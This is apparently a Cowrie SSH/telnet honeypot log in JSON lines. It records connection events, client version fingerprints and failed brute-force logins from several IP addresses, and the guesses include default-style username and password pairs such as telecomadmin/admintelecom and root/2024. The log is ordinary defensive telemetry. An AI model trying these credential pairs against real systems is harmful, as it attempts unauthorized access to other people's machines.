{"eventid":"cowrie.login.failed","username":"user","password":"q","message":"login attempt [user/q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:05.828776Z","src_ip":"43.173.85.181","session":"a770944e97de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36232,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c556ec246b6","protocol":"telnet","message":"New connection: 152.42.224.71:36232 (10.17.0.5:23) [session: 2c556ec246b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:06.155662Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:06.903253Z","src_ip":"43.173.85.181","session":"a770944e97de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58124,"dst_ip":"10.17.0.5","dst_port":23,"session":"634cd5e88e0a","protocol":"telnet","message":"New connection: 152.42.224.71:58124 (10.17.0.5:23) [session: 634cd5e88e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:17.655100Z"}
{"eventid":"cowrie.session.closed","duration":55.01304745674133,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:18.347991Z","src_ip":"152.42.224.71","session":"25e0eb79ad26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58126,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c60a1cada0f","protocol":"telnet","message":"New connection: 152.42.224.71:58126 (10.17.0.5:23) [session: 5c60a1cada0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:19.541035Z"}
{"eventid":"cowrie.session.closed","duration":120.0059163570404,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:33.407834Z","src_ip":"152.42.224.71","session":"94430054b7d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37510,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f00728fa165","protocol":"telnet","message":"New connection: 152.42.224.71:37510 (10.17.0.5:23) [session: 2f00728fa165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:35.995320Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37512,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff2cfbdf6d0b","protocol":"telnet","message":"New connection: 152.42.224.71:37512 (10.17.0.5:23) [session: ff2cfbdf6d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:40.483482Z"}
{"eventid":"cowrie.session.closed","duration":120.00589299201965,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:44.878669Z","src_ip":"152.42.224.71","session":"395f04557d93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37524,"dst_ip":"10.17.0.5","dst_port":23,"session":"98e1d86edb31","protocol":"telnet","message":"New connection: 152.42.224.71:37524 (10.17.0.5:23) [session: 98e1d86edb31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:45.553390Z"}
{"eventid":"cowrie.session.closed","duration":48.204076290130615,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:46.765234Z","src_ip":"152.42.224.71","session":"723c5a56c196","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49992,"dst_ip":"10.17.0.5","dst_port":23,"session":"b45be703c081","protocol":"telnet","message":"New connection: 152.42.224.71:49992 (10.17.0.5:23) [session: b45be703c081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:47.537910Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50004,"dst_ip":"10.17.0.5","dst_port":23,"session":"910041c57d95","protocol":"telnet","message":"New connection: 152.42.224.71:50004 (10.17.0.5:23) [session: 910041c57d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:49.937948Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50006,"dst_ip":"10.17.0.5","dst_port":23,"session":"faa55b98deb8","protocol":"telnet","message":"New connection: 152.42.224.71:50006 (10.17.0.5:23) [session: faa55b98deb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:50.155133Z"}
{"eventid":"cowrie.session.closed","duration":37.891074895858765,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:55.546049Z","src_ip":"152.42.224.71","session":"634cd5e88e0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.16172194480896,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:55.702616Z","src_ip":"152.42.224.71","session":"5c60a1cada0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":65.6227822303772,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:57.627239Z","src_ip":"152.42.224.71","session":"62f3a6353731","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.73473787307739,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:57.829605Z","src_ip":"152.42.224.71","session":"eacbee1ed270","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57742,"dst_ip":"10.17.0.5","dst_port":23,"session":"86d0c4e80e2f","protocol":"telnet","message":"New connection: 152.42.224.71:57742 (10.17.0.5:23) [session: 86d0c4e80e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:08.568459Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57744,"dst_ip":"10.17.0.5","dst_port":23,"session":"10204c6fe462","protocol":"telnet","message":"New connection: 152.42.224.71:57744 (10.17.0.5:23) [session: 10204c6fe462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:08.999295Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.95.8","src_port":43502,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ac5787a50a7","protocol":"ssh","message":"New connection: 167.86.95.8:43502 (10.17.0.5:22) [session: 2ac5787a50a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:09.379230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:09.384591Z","src_ip":"167.86.95.8","session":"2ac5787a50a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:09.484400Z","src_ip":"167.86.95.8","session":"2ac5787a50a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2024.","message":"login attempt [root/2024.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:09.910989Z","src_ip":"167.86.95.8","session":"2ac5787a50a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57748,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e4e87cae2d6","protocol":"telnet","message":"New connection: 152.42.224.71:57748 (10.17.0.5:23) [session: 0e4e87cae2d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:10.235041Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:11.014262Z","src_ip":"167.86.95.8","session":"2ac5787a50a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57754,"dst_ip":"10.17.0.5","dst_port":23,"session":"a03d2b5da5c8","protocol":"telnet","message":"New connection: 152.42.224.71:57754 (10.17.0.5:23) [session: a03d2b5da5c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:14.333904Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":45084,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd53cf4c4c19","protocol":"ssh","message":"New connection: 47.237.167.49:45084 (159.203.135.109:22) [session: fd53cf4c4c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:15.014404Z"}
{"eventid":"cowrie.session.closed","duration":39.188299894332886,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:15.183500Z","src_ip":"152.42.224.71","session":"2f00728fa165","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.85.181","src_port":49268,"dst_ip":"10.17.0.5","dst_port":22,"session":"e825a284e1f5","protocol":"ssh","message":"New connection: 43.173.85.181:49268 (10.17.0.5:22) [session: e825a284e1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:15.454945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:15.460551Z","src_ip":"43.173.85.181","session":"e825a284e1f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:15.529172Z","src_ip":"43.173.85.181","session":"e825a284e1f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@2026","message":"login attempt [deploy/deploy@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:15.835698Z","src_ip":"43.173.85.181","session":"e825a284e1f5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:16.379609Z","src_ip":"47.237.167.49","session":"fd53cf4c4c19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:16.614980Z","src_ip":"47.237.167.49","session":"fd53cf4c4c19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:16.907702Z","src_ip":"43.173.85.181","session":"e825a284e1f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39646,"dst_ip":"10.17.0.5","dst_port":23,"session":"fecdf741e5ab","protocol":"telnet","message":"New connection: 152.42.224.71:39646 (10.17.0.5:23) [session: fecdf741e5ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:22.586495Z"}
{"eventid":"cowrie.session.closed","duration":38.290255069732666,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:23.843466Z","src_ip":"152.42.224.71","session":"98e1d86edb31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":12389,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7f3cd6b1503","protocol":"ssh","message":"New connection: 193.46.255.86:12389 (10.17.0.5:22) [session: c7f3cd6b1503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:26.001892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:26.006752Z","src_ip":"193.46.255.86","session":"c7f3cd6b1503","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:26.137083Z","src_ip":"193.46.255.86","session":"c7f3cd6b1503","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"admintelecom","message":"login attempt [telecomadmin/admintelecom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:26.729038Z","src_ip":"193.46.255.86","session":"c7f3cd6b1503","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"1234","message":"login attempt [telecomadmin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:27.865427Z","src_ip":"193.46.255.86","session":"c7f3cd6b1503","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47994,"dst_ip":"10.17.0.5","dst_port":23,"session":"18298c1fcec0","protocol":"telnet","message":"New connection: 152.42.224.71:47994 (10.17.0.5:23) [session: 18298c1fcec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:28.366271Z"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"abc123","message":"login attempt [telecomadmin/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:28.998658Z","src_ip":"193.46.255.86","session":"c7f3cd6b1503","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"abcd123","message":"login attempt [telecomadmin/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:30.137541Z","src_ip":"193.46.255.86","session":"c7f3cd6b1503","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"abcd1234","message":"login attempt [telecomadmin/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:31.280957Z","src_ip":"193.46.255.86","session":"c7f3cd6b1503","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:32.414337Z","src_ip":"193.46.255.86","session":"c7f3cd6b1503","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.357746601104736,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:32.841096Z","src_ip":"152.42.224.71","session":"ff2cfbdf6d0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.969506978988647,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:33.968673Z","src_ip":"152.42.224.71","session":"10204c6fe462","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48006,"dst_ip":"10.17.0.5","dst_port":23,"session":"d083361c5b88","protocol":"telnet","message":"New connection: 152.42.224.71:48006 (10.17.0.5:23) [session: d083361c5b88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:34.915329Z"}
{"eventid":"cowrie.session.closed","duration":120.00135898590088,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:35.596794Z","src_ip":"152.42.224.71","session":"91fc346d7e92","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:38.464731Z","src_ip":"47.237.167.49","session":"fd53cf4c4c19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49354,"dst_ip":"10.17.0.5","dst_port":23,"session":"98f56edafa46","protocol":"telnet","message":"New connection: 152.42.224.71:49354 (10.17.0.5:23) [session: 98f56edafa46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:39.815778Z"}
{"eventid":"cowrie.session.closed","duration":"25.9","message":"Connection lost after 25.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:40.934142Z","src_ip":"47.237.167.49","session":"fd53cf4c4c19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49356,"dst_ip":"10.17.0.5","dst_port":23,"session":"5387ea14f11b","protocol":"telnet","message":"New connection: 152.42.224.71:49356 (10.17.0.5:23) [session: 5387ea14f11b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:44.550450Z"}
{"eventid":"cowrie.session.closed","duration":58.244545459747314,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:45.782365Z","src_ip":"152.42.224.71","session":"b45be703c081","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.01504349708557,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:53.249935Z","src_ip":"152.42.224.71","session":"0e4e87cae2d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46156,"dst_ip":"10.17.0.5","dst_port":23,"session":"325985a3b227","protocol":"telnet","message":"New connection: 152.42.224.71:46156 (10.17.0.5:23) [session: 325985a3b227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:54.757631Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46172,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4c4d00682ba","protocol":"telnet","message":"New connection: 152.42.224.71:46172 (10.17.0.5:23) [session: e4c4d00682ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:55.787749Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41202,"dst_ip":"10.17.0.5","dst_port":23,"session":"f62014691965","protocol":"telnet","message":"New connection: 152.42.224.71:41202 (10.17.0.5:23) [session: f62014691965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:58.042621Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41212,"dst_ip":"10.17.0.5","dst_port":23,"session":"a27c7b53a033","protocol":"telnet","message":"New connection: 152.42.224.71:41212 (10.17.0.5:23) [session: a27c7b53a033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:59.002614Z"}
{"eventid":"cowrie.session.closed","duration":45.13338589668274,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:59.466981Z","src_ip":"152.42.224.71","session":"a03d2b5da5c8","protocol":"telnet"}
